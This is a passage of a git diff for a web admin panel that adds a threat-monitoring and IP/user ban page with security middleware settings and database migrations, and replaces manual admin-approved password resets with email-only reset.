<template #default="{ row }">{{ formatExpires(row.expires_at) }}</template>
|
||||
</el-table-column>
|
||||
<el-table-column label="操作" width="120" fixed="right">
|
||||
<template #default="{ row }">
|
||||
<el-button size="small" type="danger" plain @click="onUnbanUser(row.user_id)">解除</el-button>
|
||||
</template>
|
||||
</el-table-column>
|
||||
</el-table>
|
||||
</div>
|
||||
</el-tab-pane>
|
||||
</el-tabs>
|
||||
</el-tab-pane>
|
||||
|
||||
<el-tab-pane label="风险查询" name="risk">
|
||||
<el-tabs v-model="riskTab" class="inner-tabs">
|
||||
<el-tab-pane label="IP查询" name="ip">
|
||||
<div class="filters">
|
||||
<el-input v-model="riskIpInput" placeholder="输入IP,如 1.2.3.4" style="width: 260px" clearable />
|
||||
<el-button type="primary" :loading="riskLoading" @click="queryIpRisk">查询</el-button>
|
||||
</div>
|
||||
</el-tab-pane>
|
||||
<el-tab-pane label="用户查询" name="user">
|
||||
<div class="filters">
|
||||
<el-input v-model="riskUserIdInput" placeholder="输入用户ID,如 123" style="width: 260px" clearable />
|
||||
<el-button type="primary" :loading="riskLoading" @click="queryUserRisk">查询</el-button>
|
||||
</div>
|
||||
</el-tab-pane>
|
||||
</el-tabs>
|
||||
|
||||
<el-card v-if="riskResult" shadow="never" :body-style="{ padding: '16px' }" class="sub-card">
|
||||
<div class="risk-head">
|
||||
<div class="risk-title">
|
||||
<strong v-if="riskResultKind === 'ip'">IP: {{ riskResult.ip }}</strong>
|
||||
<strong v-else>用户ID: {{ riskResult.user_id }}</strong>
|
||||
<span class="app-muted">风险分</span>
|
||||
<el-tag :type="scoreMeta(riskResult.risk_score).type" effect="light">
|
||||
{{ riskResult.risk_score ?? 0 }}
|
||||
</el-tag>
|
||||
<el-tag v-if="riskResult.is_banned" type="danger" effect="light">已封禁</el-tag>
|
||||
<el-tag v-else type="success" effect="light">未封禁</el-tag>
|
||||
</div>
|
||||
<div class="toolbar">
|
||||
<el-button v-if="!riskResult.is_banned" type="primary" plain @click="openBanFromRisk">封禁</el-button>
|
||||
<el-button v-else type="danger" plain @click="unbanFromRisk">解除封禁</el-button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="table-wrap">
|
||||
<el-table :data="riskResult.threat_history || []" v-loading="riskLoading" style="width: 100%">
|
||||
<el-table-column prop="created_at" label="时间" width="180" />
|
||||
<el-table-column label="类型" width="170">
|
||||
<template #default="{ row }">
|
||||
<el-tag effect="light" type="info">{{ row.threat_type || 'unknown' }}</el-tag>
|
||||
</template>
|
||||
</el-table-column>
|
||||
<el-table-column label="严重程度" width="120">
|
||||
<template #default="{ row }">
|
||||
<el-tag :type="scoreMeta(row.score).type" effect="light">
|
||||
{{ scoreMeta(row.score).label }} ({{ row.score ?? 0 }})
|
||||
</el-tag>
|
||||
</template>
|
||||
</el-table-column>
|
||||
<el-table-column label="操作路径" min-width="220">
|
||||
<template #default="{ row }">
|
||||
<el-tooltip :content="pathText(row)" placement="top" :show-after="300">
|
||||
<span class="mono ellipsis">{{ pathText(row) }}</span>
|
||||
</el-tooltip>
|
||||
</template>
|
||||
</el-table-column>
|
||||
<el-table-column label="Payload预览" min-width="240">
|
||||
<template #default="{ row }">
|
||||
<el-tooltip :content="payloadTooltip(row)" placement="top" :show-after="300">
|
||||
<span class="ellipsis">{{ row.value_preview || '-' }}</span>
|
||||
</el-tooltip>
|
||||
</template>
|
||||
</el-table-column>
|
||||
</el-table>
|
||||
</div>
|
||||
</el-card>
|
||||
</el-tab-pane>
|
||||
</el-tabs>
|
||||
</el-card>
|
||||
|
||||
<el-dialog v-model="banDialogOpen" title="手动封禁" width="min(520px, 92vw)" @closed="resetBanForm">
|
||||
<el-form label-width="120px">
|
||||
<el-form-item label="类型">
|
||||
<el-radio-group v-model="banForm.kind">
|
||||
<el-radio-button label="ip">IP</el-radio-button>
|
||||
<el-radio-button label="user">用户</el-radio-button>
|
||||
</el-radio-group>
|
||||
</el-form-item>
|
||||
<el-form-item v-if="banForm.kind === 'ip'" label="IP">
|
||||
<el-input v-model="banForm.ip" placeholder="例如 1.2.3.4" />
|
||||
</el-form-item>
|
||||
<el-form-item v-else label="用户ID">
|
||||
<el-input v-model="banForm.user_id" placeholder="例如 123" />
|
||||
</el-form-item>
|
||||
<el-form-item label="原因">
|
||||
<el-input v-model="banForm.reason" type="textarea" :rows="3" placeholder="请输入封禁原因" />
|
||||
</el-form-item>
|
||||
<el-form-item label="永久封禁">
|
||||
<el-switch v-model="banForm.permanent" />
|
||||
</el-form-item>
|
||||
<el-form-item v-if="!banForm.permanent" label="持续(小时)">
|
||||
<el-input-number v-model="banForm.duration_hours" :min="1" :max="8760" />
|
||||
</el-form-item>
|
||||
</el-form>
|
||||
|
||||
<template #footer>
|
||||
<div class="dialog-actions">
|
||||
<div class="spacer"></div>
|
||||
<el-button @click="banDialogOpen = false">取消</el-button>
|
||||
<el-button type="primary" :loading="banSubmitting" @click="submitBan">确认封禁</el-button>
|
||||
</div>
|
||||
</template>
|
||||
</el-dialog>
|
||||
</div>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
.page-stack {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 12px;
|
||||
}
|
||||
|
||||
.toolbar {
|
||||
display: flex;
|
||||
gap: 10px;
|
||||
align-items: center;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.stats-row {
|
||||
margin-bottom: 2px;
|
||||
}
|
||||
|
||||
.card {
|
||||
border-radius: var(--app-radius);
|
||||
border: 1px solid var(--app-border);
|
||||
}
|
||||
|
||||
.sub-card {
|
||||
margin-top: 12px;
|
||||
border-radius: var(--app-radius);
|
||||
border: 1px solid var(--app-border);
|
||||
}
|
||||
|
||||
.stat-card {
|
||||
border-radius: var(--app-radius);
|
||||
border: 1px solid var(--app-border);
|
||||
box-shadow: var(--app-shadow);
|
||||
}
|
||||
|
||||
.stat-value {
|
||||
font-size: 22px;
|
||||
font-weight: 800;
|
||||
line-height: 1.1;
|
||||
}
|
||||
|
||||
.stat-label {
|
||||
margin-top: 6px;
|
||||
font-size: 12px;
|
||||
color: var(--app-muted);
|
||||
}
|
||||
|
||||
.filters {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 10px;
|
||||
align-items: center;
|
||||
margin-bottom: 12px;
|
||||
}
|
||||
|
||||
.table-wrap {
|
||||
overflow-x: auto;
|
||||
}
|
||||
|
||||
.ellipsis {
|
||||
display: inline-block;
|
||||
max-width: 100%;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.mono {
|
||||
font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, 'Liberation Mono', 'Courier New', monospace;
|
||||
}
|
||||
|
||||
.pagination {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
gap: 10px;
|
||||
margin-top: 14px;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.page-hint {
|
||||
font-size: 12px;
|
||||
}
|
||||
|
||||
.inner-tabs {
|
||||
margin-top: 6px;
|
||||
}
|
||||
|
||||
.risk-head {
|
||||
display: flex;
|
||||
align-items: flex-start;
|
||||
justify-content: space-between;
|
||||
gap: 12px;
|
||||
margin-bottom: 12px;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.risk-title {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 10px;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.dialog-actions {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 10px;
|
||||
}
|
||||
|
||||
.spacer {
|
||||
flex: 1;
|
||||
}
|
||||
</style>
|
||||
@@ -11,19 +11,14 @@ import {
|
||||
removeUserVip,
|
||||
setUserVip,
|
||||
} from '../api/users'
|
||||
import { approvePasswordReset, fetchPasswordResets, rejectPasswordReset } from '../api/passwordResets'
|
||||
import { parseSqliteDateTime } from '../utils/datetime'
|
||||
import { validatePasswordStrength } from '../utils/password'
|
||||
|
||||
const refreshStats = inject('refreshStats', null)
|
||||
const refreshNavBadges = inject('refreshNavBadges', null)
|
||||
|
||||
const loading = ref(false)
|
||||
const users = ref([])
|
||||
|
||||
const resetLoading = ref(false)
|
||||
const passwordResets = ref([])
|
||||
|
||||
function isVip(user) {
|
||||
const expire = user?.vip_expire_time
|
||||
if (!expire) return false
|
||||
@@ -58,21 +53,8 @@ async function loadUsers() {
|
||||
}
|
||||
}
|
||||
|
||||
async function loadResets() {
|
||||
resetLoading.value = true
|
||||
try {
|
||||
const list = await fetchPasswordResets()
|
||||
passwordResets.value = Array.isArray(list) ? list : []
|
||||
} catch {
|
||||
passwordResets.value = []
|
||||
} finally {
|
||||
resetLoading.value = false
|
||||
}
|
||||
}
|
||||
|
||||
async function refreshAll() {
|
||||
await Promise.all([loadUsers(), loadResets()])
|
||||
await refreshNavBadges?.({ pendingResets: passwordResets.value.length })
|
||||
await loadUsers()
|
||||
}
|
||||
|
||||
async function onEnableUser(row) {
|
||||
@@ -117,48 +99,6 @@ async function onDisableUser(row) {
|
||||
}
|
||||
}
|
||||
|
||||
async function onApproveReset(row) {
|
||||
try {
|
||||
await ElMessageBox.confirm(`确定批准「${row.username}」的密码重置申请吗?`, '批准重置', {
|
||||
confirmButtonText: '批准',
|
||||
cancelButtonText: '取消',
|
||||
type: 'success',
|
||||
})
|
||||
} catch {
|
||||
return
|
||||
}
|
||||
|
||||
try {
|
||||
const res = await approvePasswordReset(row.id)
|
||||
ElMessage.success(res?.message || '密码重置申请已批准')
|
||||
await loadResets()
|
||||
await refreshNavBadges?.({ pendingResets: passwordResets.value.length })
|
||||
} catch {
|
||||
// handled by interceptor
|
||||
}
|
||||
}
|
||||
|
||||
async function onRejectReset(row) {
|
||||
try {
|
||||
await ElMessageBox.confirm(`确定拒绝「${row.username}」的密码重置申请吗?`, '拒绝重置', {
|
||||
confirmButtonText: '拒绝',
|
||||
cancelButtonText: '取消',
|
||||
type: 'warning',
|
||||
})
|
||||
} catch {
|
||||
return
|
||||
}
|
||||
|
||||
try {
|
||||
const res = await rejectPasswordReset(row.id)
|
||||
ElMessage.success(res?.message || '密码重置申请已拒绝')
|
||||
await loadResets()
|
||||
await refreshNavBadges?.({ pendingResets: passwordResets.value.length })
|
||||
} catch {
|
||||
// handled by interceptor
|
||||
}
|
||||
}
|
||||
|
||||
async function onDelete(row) {
|
||||
try {
|
||||
await ElMessageBox.confirm(
|
||||
@@ -338,27 +278,6 @@ onMounted(refreshAll)
|
||||
</el-table>
|
||||
</div>
|
||||
</el-card>
|
||||
|
||||
<el-card shadow="never" :body-style="{ padding: '16px' }" class="card">
|
||||
<h3 class="section-title">密码重置申请</h3>
|
||||
<div class="table-wrap">
|
||||
<el-table :data="passwordResets" v-loading="resetLoading" style="width: 100%">
|
||||
<el-table-column prop="id" label="申请ID" width="90" />
|
||||
<el-table-column prop="username" label="用户名" min-width="200" />
|
||||
<el-table-column prop="email" label="邮箱" min-width="220">
|
||||
<template #default="{ row }">{{ row.email || '-' }}</template>
|
||||
</el-table-column>
|
||||
<el-table-column prop="created_at" label="申请时间" min-width="180" />
|
||||
<el-table-column label="操作" width="180" fixed="right">
|
||||
<template #default="{ row }">
|
||||
<el-button type="success" size="small" @click="onApproveReset(row)">批准</el-button>
|
||||
<el-button type="danger" size="small" @click="onRejectReset(row)">拒绝</el-button>
|
||||
</template>
|
||||
</el-table-column>
|
||||
</el-table>
|
||||
</div>
|
||||
<div class="help app-muted">当未启用邮件找回密码时,用户会提交申请,由管理员在此处处理。</div>
|
||||
</el-card>
|
||||
</div>
|
||||
</template>
|
||||
|
||||
|
||||
@@ -8,6 +8,7 @@ const FeedbacksPage = () => import('../pages/FeedbacksPage.vue')
|
||||
const LogsPage = () => import('../pages/LogsPage.vue')
|
||||
const AnnouncementsPage = () => import('../pages/AnnouncementsPage.vue')
|
||||
const EmailPage = () => import('../pages/EmailPage.vue')
|
||||
const SecurityPage = () => import('../pages/SecurityPage.vue')
|
||||
const SystemPage = () => import('../pages/SystemPage.vue')
|
||||
const SettingsPage = () => import('../pages/SettingsPage.vue')
|
||||
|
||||
@@ -25,6 +26,7 @@ const routes = [
|
||||
{ path: '/logs', name: 'logs', component: LogsPage },
|
||||
{ path: '/announcements', name: 'announcements', component: AnnouncementsPage },
|
||||
{ path: '/email', name: 'email', component: EmailPage },
|
||||
{ path: '/security', name: 'security', component: SecurityPage },
|
||||
{ path: '/system', name: 'system', component: SystemPage },
|
||||
{ path: '/settings', name: 'settings', component: SettingsPage },
|
||||
],
|
||||
|
||||
@@ -30,11 +30,6 @@ export async function forgotPassword(payload) {
|
||||
return data
|
||||
}
|
||||
|
||||
export async function requestPasswordReset(payload) {
|
||||
const { data } = await publicApi.post('/reset_password_request', payload)
|
||||
return data
|
||||
}
|
||||
|
||||
export async function confirmPasswordReset(payload) {
|
||||
const { data } = await publicApi.post('/reset-password-confirm', payload)
|
||||
return data
|
||||
|
||||
@@ -8,10 +8,8 @@ import {
|
||||
forgotPassword,
|
||||
generateCaptcha,
|
||||
login,
|
||||
requestPasswordReset,
|
||||
resendVerifyEmail,
|
||||
} from '../api/auth'
|
||||
import { validateStrongPassword } from '../utils/password'
|
||||
|
||||
const router = useRouter()
|
||||
|
||||
@@ -32,20 +30,14 @@ const registerVerifyEnabled = ref(false)
|
||||
const forgotOpen = ref(false)
|
||||
const resendOpen = ref(false)
|
||||
|
||||
const emailResetForm = reactive({
|
||||
email: '',
|
||||
const forgotForm = reactive({
|
||||
username: '',
|
||||
captcha: '',
|
||||
})
|
||||
const emailResetCaptchaImage = ref('')
|
||||
const emailResetCaptchaSession = ref('')
|
||||
const emailResetLoading = ref(false)
|
||||
|
||||
const manualResetForm = reactive({
|
||||
username: '',
|
||||
email: '',
|
||||
new_password: '',
|
||||
})
|
||||
const manualResetLoading = ref(false)
|
||||
const forgotCaptchaImage = ref('')
|
||||
const forgotCaptchaSession = ref('')
|
||||
const forgotLoading = ref(false)
|
||||
const forgotHint = ref('')
|
||||
|
||||
const resendForm = reactive({
|
||||
email: '',
|
||||
@@ -72,12 +64,12 @@ async function refreshLoginCaptcha() {
|
||||
async function refreshEmailResetCaptcha() {
|
||||
try {
|
||||
const data = await generateCaptcha()
|
||||
emailResetCaptchaSession.value = data?.session_id || ''
|
||||
emailResetCaptchaImage.value = data?.captcha_image || ''
|
||||
emailResetForm.captcha = ''
|
||||
forgotCaptchaSession.value = data?.session_id || ''
|
||||
forgotCaptchaImage.value = data?.captcha_image || ''
|
||||
forgotForm.captcha = ''
|
||||
} catch {
|
||||
emailResetCaptchaSession.value = ''
|
||||
emailResetCaptchaImage.value = ''
|
||||
forgotCaptchaSession.value = ''
|
||||
forgotCaptchaImage.value = ''
|
||||
}
|
||||
}
|
||||
|
||||
@@ -136,80 +128,54 @@ async function onSubmit() {
|
||||
|
||||
async function openForgot() {
|
||||
forgotOpen.value = true
|
||||
|
||||
forgotHint.value = ''
|
||||
forgotForm.username = ''
|
||||
forgotForm.captcha = ''
|
||||
if (emailEnabled.value) {
|
||||
emailResetForm.email = ''
|
||||
emailResetForm.captcha = ''
|
||||
await refreshEmailResetCaptcha()
|
||||
} else {
|
||||
manualResetForm.username = ''
|
||||
manualResetForm.email = ''
|
||||
manualResetForm.new_password = ''
|
||||
}
|
||||
}
|
||||
|
||||
async function submitForgot() {
|
||||
if (emailEnabled.value) {
|
||||
const email = emailResetForm.email.trim()
|
||||
if (!email) {
|
||||
ElMessage.error('请输入邮箱')
|
||||
return
|
||||
}
|
||||
if (!emailResetForm.captcha.trim()) {
|
||||
ElMessage.error('请输入验证码')
|
||||
return
|
||||
}
|
||||
forgotHint.value = ''
|
||||
|
||||
emailResetLoading.value = true
|
||||
try {
|
||||
const res = await forgotPassword({
|
||||
email,
|
||||
captcha_session: emailResetCaptchaSession.value,
|
||||
captcha: emailResetForm.captcha.trim(),
|
||||
})
|
||||
ElMessage.success(res?.message || '已发送重置邮件')
|
||||
setTimeout(() => {
|
||||
forgotOpen.value = false
|
||||
}, 800)
|
||||
} catch (e) {
|
||||
const data = e?.response?.data
|
||||
ElMessage.error(data?.error || '发送失败')
|
||||
await refreshEmailResetCaptcha()
|
||||
} finally {
|
||||
emailResetLoading.value = false
|
||||
}
|
||||
if (!emailEnabled.value) {
|
||||
ElMessage.warning('邮件功能未启用,请联系管理员重置密码。')
|
||||
return
|
||||
}
|
||||
|
||||
const username = manualResetForm.username.trim()
|
||||
const newPassword = manualResetForm.new_password
|
||||
if (!username || !newPassword) {
|
||||
ElMessage.error('用户名和新密码不能为空')
|
||||
const username = forgotForm.username.trim()
|
||||
if (!username) {
|
||||
ElMessage.error('请输入用户名')
|
||||
return
|
||||
}
|
||||
if (!forgotForm.captcha.trim()) {
|
||||
ElMessage.error('请输入验证码')
|
||||
return
|
||||
}
|
||||
|
||||
const check = validateStrongPassword(newPassword)
|
||||
if (!check.ok) {
|
||||
ElMessage.error(check.message)
|
||||
return
|
||||
}
|
||||
|
||||
manualResetLoading.value = true
|
||||
forgotLoading.value = true
|
||||
try {
|
||||
await requestPasswordReset({
|
||||
const res = await forgotPassword({
|
||||
username,
|
||||
email: manualResetForm.email.trim(),
|
||||
new_password: newPassword,
|
||||
captcha_session: forgotCaptchaSession.value,
|
||||
captcha: forgotForm.captcha.trim(),
|
||||
})
|
||||
ElMessage.success('申请已提交,请等待审核')
|
||||
ElMessage.success(res?.message || '已发送重置邮件')
|
||||
setTimeout(() => {
|
||||
forgotOpen.value = false
|
||||
}, 800)
|
||||
} catch (e) {
|
||||
const data = e?.response?.data
|
||||
ElMessage.error(data?.error || '提交失败')
|
||||
const message = data?.error || '发送失败'
|
||||
if (data?.code === 'email_not_bound') {
|
||||
forgotHint.value = message
|
||||
} else {
|
||||
ElMessage.error(message)
|
||||
}
|
||||
await refreshEmailResetCaptcha()
|
||||
} finally {
|
||||
manualResetLoading.value = false
|
||||
forgotLoading.value = false
|
||||
}
|
||||
}
|
||||
|
||||
@@ -320,51 +286,55 @@ onMounted(async () => {
|
||||
</el-card>
|
||||
|
||||
<el-dialog v-model="forgotOpen" title="找回密码" width="min(560px, 92vw)">
|
||||
<template v-if="emailEnabled">
|
||||
<el-alert type="info" :closable="false" title="输入注册邮箱,我们将发送重置链接。" show-icon />
|
||||
<el-form label-position="top" class="dialog-form">
|
||||
<el-form-item label="邮箱">
|
||||
<el-input v-model="emailResetForm.email" placeholder="name@example.com" />
|
||||
</el-form-item>
|
||||
<el-form-item label="验证码">
|
||||
<div class="captcha-row">
|
||||
<el-input v-model="emailResetForm.captcha" placeholder="请输入验证码" />
|
||||
<img
|
||||
v-if="emailResetCaptchaImage"
|
||||
class="captcha-img"
|
||||
:src="emailResetCaptchaImage"
|
||||
alt="验证码"
|
||||
title="点击刷新"
|
||||
@click="refreshEmailResetCaptcha"
|
||||
/>
|
||||
<el-button @click="refreshEmailResetCaptcha">刷新</el-button>
|
||||
</div>
|
||||
</el-form-item>
|
||||
</el-form>
|
||||
</template>
|
||||
<template v-else>
|
||||
<el-alert type="warning" :closable="false" title="邮件功能未启用:提交申请后等待管理员审核。" show-icon />
|
||||
<el-form label-position="top" class="dialog-form">
|
||||
<el-form-item label="用户名">
|
||||
<el-input v-model="manualResetForm.username" placeholder="请输入用户名" />
|
||||
</el-form-item>
|
||||
<el-form-item label="邮箱(可选)">
|
||||
<el-input v-model="manualResetForm.email" placeholder="可选填写邮箱" />
|
||||
</el-form-item>
|
||||
<el-form-item label="新密码(至少8位且包含字母和数字)">
|
||||
<el-input v-model="manualResetForm.new_password" type="password" show-password placeholder="请输入新密码" />
|
||||
</el-form-item>
|
||||
</el-form>
|
||||
</template>
|
||||
<el-alert
|
||||
v-if="!emailEnabled"
|
||||
type="warning"
|
||||
:closable="false"
|
||||
title="邮件功能未启用"
|
||||
description="无法通过邮箱找回密码,请联系管理员重置密码。"
|
||||
show-icon
|
||||
/>
|
||||
<el-alert
|
||||
v-else
|
||||
type="info"
|
||||
:closable="false"
|
||||
title="通过邮箱找回密码"
|
||||
description="输入用户名并完成验证码,我们将向该账号绑定的邮箱发送重置链接。"
|
||||
show-icon
|
||||
/>
|
||||
<el-alert
|
||||
v-if="forgotHint"
|
||||
type="warning"
|
||||
:closable="false"
|
||||
title="无法通过邮箱找回密码"
|
||||
:description="forgotHint"
|
||||
show-icon
|
||||
class="alert"
|
||||
/>
|
||||
<el-form label-position="top" class="dialog-form">
|
||||
<el-form-item label="用户名">
|
||||
<el-input v-model="forgotForm.username" placeholder="请输入用户名" />
|
||||
</el-form-item>
|
||||
<el-form-item label="验证码">
|
||||
<div class="captcha-row">
|
||||
<el-input v-model="forgotForm.captcha" placeholder="请输入验证码" />
|
||||
<img
|
||||
v-if="forgotCaptchaImage"
|
||||
class="captcha-img"
|
||||
:src="forgotCaptchaImage"
|
||||
alt="验证码"
|
||||
title="点击刷新"
|
||||
@click="refreshEmailResetCaptcha"
|
||||
/>
|
||||
<el-button @click="refreshEmailResetCaptcha">刷新</el-button>
|
||||
</div>
|
||||
</el-form-item>
|
||||
</el-form>
|
||||
|
||||
<template #footer>
|
||||
<el-button @click="forgotOpen = false">取消</el-button>
|
||||
<el-button
|
||||
type="primary"
|
||||
:loading="emailEnabled ? emailResetLoading : manualResetLoading"
|
||||
@click="submitForgot"
|
||||
>
|
||||
{{ emailEnabled ? '发送重置邮件' : '提交申请' }}
|
||||
<el-button type="primary" :loading="forgotLoading" :disabled="!emailEnabled" @click="submitForgot">
|
||||
发送重置邮件
|
||||
</el-button>
|
||||
</template>
|
||||
</el-dialog>
|
||||
|
||||
4
app.py
4
app.py
@@ -32,6 +32,7 @@ from browser_pool_worker import init_browser_worker_pool, shutdown_browser_worke
|
||||
from realtime.socketio_handlers import register_socketio_handlers
|
||||
from realtime.status_push import status_push_worker
|
||||
from routes import register_blueprints
|
||||
from security import init_security_middleware
|
||||
from services.browser_manager import init_browser_manager
|
||||
from services.checkpoints import init_checkpoint_manager
|
||||
from services.maintenance import start_cleanup_scheduler
|
||||
@@ -98,6 +99,9 @@ init_logging(log_level=config.LOG_LEVEL, log_file=config.LOG_FILE)
|
||||
logger = get_logger("app")
|
||||
init_runtime(socketio=socketio, logger=logger)
|
||||
|
||||
# 初始化安全中间件(需在其他中间件/Blueprint 之前注册)
|
||||
init_security_middleware(app)
|
||||
|
||||
# 注册 Blueprint(路由不变)
|
||||
register_blueprints(app)
|
||||
|
||||
|
||||
@@ -206,6 +206,10 @@ class Config:
|
||||
LOGIN_ALERT_ENABLED = os.environ.get('LOGIN_ALERT_ENABLED', 'true').lower() == 'true'
|
||||
LOGIN_ALERT_MIN_INTERVAL_SECONDS = int(os.environ.get('LOGIN_ALERT_MIN_INTERVAL_SECONDS', '3600'))
|
||||
ADMIN_REAUTH_WINDOW_SECONDS = int(os.environ.get('ADMIN_REAUTH_WINDOW_SECONDS', '600'))
|
||||
SECURITY_ENABLED = os.environ.get('SECURITY_ENABLED', 'true').lower() == 'true'
|
||||
SECURITY_LOG_LEVEL = os.environ.get('SECURITY_LOG_LEVEL', 'INFO')
|
||||
HONEYPOT_ENABLED = os.environ.get('HONEYPOT_ENABLED', 'true').lower() == 'true'
|
||||
AUTO_BAN_ENABLED = os.environ.get('AUTO_BAN_ENABLED', 'true').lower() == 'true'
|
||||
|
||||
@classmethod
|
||||
def validate(cls):
|
||||
@@ -234,6 +238,9 @@ class Config:
|
||||
if cls.LOG_LEVEL not in ['DEBUG', 'INFO', 'WARNING', 'ERROR', 'CRITICAL']:
|
||||
errors.append(f"LOG_LEVEL无效: {cls.LOG_LEVEL}")
|
||||
|
||||
if cls.SECURITY_LOG_LEVEL not in ['DEBUG', 'INFO', 'WARNING', 'ERROR', 'CRITICAL']:
|
||||
errors.append(f"SECURITY_LOG_LEVEL无效: {cls.SECURITY_LOG_LEVEL}")
|
||||
|
||||
return errors
|
||||
|
||||
@classmethod
|
||||
|
||||
@@ -24,15 +24,11 @@ from db.schema import ensure_schema
|
||||
from db.migrations import migrate_database as _migrate_database
|
||||
from db.admin import (
|
||||
admin_reset_user_password,
|
||||
approve_password_reset,
|
||||
clean_old_operation_logs,
|
||||
create_password_reset_request,
|
||||
ensure_default_admin,
|
||||
get_hourly_registration_count,
|
||||
get_pending_password_resets,
|
||||
get_system_config_raw as _get_system_config_raw,
|
||||
get_system_stats,
|
||||
reject_password_reset,
|
||||
update_admin_password,
|
||||
update_admin_username,
|
||||
update_system_config as _update_system_config,
|
||||
@@ -121,7 +117,7 @@ config = get_config()
|
||||
DB_FILE = config.DB_FILE
|
||||
|
||||
# 数据库版本 (用于迁移管理)
|
||||
DB_VERSION = 12
|
||||
DB_VERSION = 15
|
||||
|
||||
|
||||
# ==================== 系统配置缓存(P1 / O-03) ====================
|
||||
|
||||
102
db/admin.py
102
db/admin.py
@@ -287,108 +287,6 @@ def get_hourly_registration_count() -> int:
|
||||
# ==================== 密码重置(管理员) ====================
|
||||
|
||||
|
||||
def create_password_reset_request(user_id: int, new_password: str):
|
||||
"""创建密码重置申请(存储哈希)"""
|
||||
with db_pool.get_db() as conn:
|
||||
cursor = conn.cursor()
|
||||
password_hash = hash_password_bcrypt(new_password)
|
||||
cst_time = get_cst_now_str()
|
||||
|
||||
try:
|
||||
cursor.execute(
|
||||
"""
|
||||
INSERT INTO password_reset_requests (user_id, new_password_hash, status, created_at)
|
||||
VALUES (?, ?, 'pending', ?)
|
||||
""",
|
||||
(user_id, password_hash, cst_time),
|
||||
)
|
||||
conn.commit()
|
||||
return cursor.lastrowid
|
||||
except Exception as e:
|
||||
print(f"创建密码重置申请失败: {e}")
|
||||
return None
|
||||
|
||||
|
||||
def get_pending_password_resets():
|
||||
"""获取待审核的密码重置申请列表"""
|
||||
with db_pool.get_db() as conn:
|
||||
cursor = conn.cursor()
|
||||
cursor.execute(
|
||||
"""
|
||||
SELECT r.id, r.user_id, r.created_at, r.status,
|
||||
u.username, u.email
|
||||
FROM password_reset_requests r
|
||||
JOIN users u ON r.user_id = u.id
|
||||
WHERE r.status = 'pending'
|
||||
ORDER BY r.created_at DESC
|
||||
"""
|
||||
)
|
||||
return [dict(row) for row in cursor.fetchall()]
|
||||
|
||||
|
||||
def approve_password_reset(request_id: int) -> bool:
|
||||
"""批准密码重置申请"""
|
||||
with db_pool.get_db() as conn:
|
||||
cursor = conn.cursor()
|
||||
cst_time = get_cst_now_str()
|
||||
|
||||
try:
|
||||
cursor.execute(
|
||||
"""
|
||||
SELECT user_id, new_password_hash
|
||||
FROM password_reset_requests
|
||||
WHERE id = ? AND status = 'pending'
|
||||
""",
|
||||
(request_id,),
|
||||
)
|
||||
|
||||
result = cursor.fetchone()
|
||||
if not result:
|
||||
return False
|
||||
|
||||
user_id = result["user_id"]
|
||||
new_password_hash = result["new_password_hash"]
|
||||
|
||||
cursor.execute("UPDATE users SET password_hash = ? WHERE id = ?", (new_password_hash, user_id))
|
||||
|
||||
cursor.execute(
|
||||
"""
|
||||
UPDATE password_reset_requests
|
||||
SET status = 'approved', processed_at = ?
|
||||
WHERE id = ?
|
||||
""",
|
||||
(cst_time, request_id),
|
||||
)
|
||||
|
||||
conn.commit()
|
||||
return True
|
||||
except Exception as e:
|
||||
print(f"批准密码重置失败: {e}")
|
||||
return False
|
||||
|
||||
|
||||
def reject_password_reset(request_id: int) -> bool:
|
||||
"""拒绝密码重置申请"""
|
||||
with db_pool.get_db() as conn:
|
||||
cursor = conn.cursor()
|
||||
cst_time = get_cst_now_str()
|
||||
|
||||
try:
|
||||
cursor.execute(
|
||||
"""
|
||||
UPDATE password_reset_requests
|
||||
SET status = 'rejected', processed_at = ?
|
||||
WHERE id = ? AND status = 'pending'
|
||||
""",
|
||||
(cst_time, request_id),
|
||||
)
|
||||
conn.commit()
|
||||
return cursor.rowcount > 0
|
||||
except Exception as e:
|
||||
print(f"拒绝密码重置失败: {e}")
|
||||
return False
|
||||
|
||||
|
||||
def admin_reset_user_password(user_id: int, new_password: str) -> bool:
|
||||
"""管理员直接重置用户密码"""
|
||||
with db_pool.get_db() as conn:
|
||||
|
||||
153
db/migrations.py
153
db/migrations.py
@@ -72,6 +72,15 @@ def migrate_database(conn, target_version: int) -> None:
|
||||
if current_version < 12:
|
||||
_migrate_to_v12(conn)
|
||||
current_version = 12
|
||||
if current_version < 13:
|
||||
_migrate_to_v13(conn)
|
||||
current_version = 13
|
||||
if current_version < 14:
|
||||
_migrate_to_v14(conn)
|
||||
current_version = 14
|
||||
if current_version < 15:
|
||||
_migrate_to_v15(conn)
|
||||
current_version = 15
|
||||
|
||||
if current_version != int(target_version):
|
||||
set_current_version(conn, int(target_version))
|
||||
@@ -519,3 +528,147 @@ def _migrate_to_v12(conn):
|
||||
cursor.execute("CREATE INDEX IF NOT EXISTS idx_login_ips_user ON login_ips(user_id)")
|
||||
|
||||
conn.commit()
|
||||
|
||||
|
||||
def _migrate_to_v13(conn):
|
||||
"""迁移到版本13 - 安全防护:威胁检测相关表"""
|
||||
cursor = conn.cursor()
|
||||
|
||||
cursor.execute(
|
||||
"""
|
||||
CREATE TABLE IF NOT EXISTS threat_events (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
threat_type TEXT NOT NULL,
|
||||
score INTEGER NOT NULL DEFAULT 0,
|
||||
rule TEXT,
|
||||
field_name TEXT,
|
||||
matched TEXT,
|
||||
value_preview TEXT,
|
||||
ip TEXT,
|
||||
user_id INTEGER,
|
||||
request_method TEXT,
|
||||
request_path TEXT,
|
||||
user_agent TEXT,
|
||||
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
|
||||
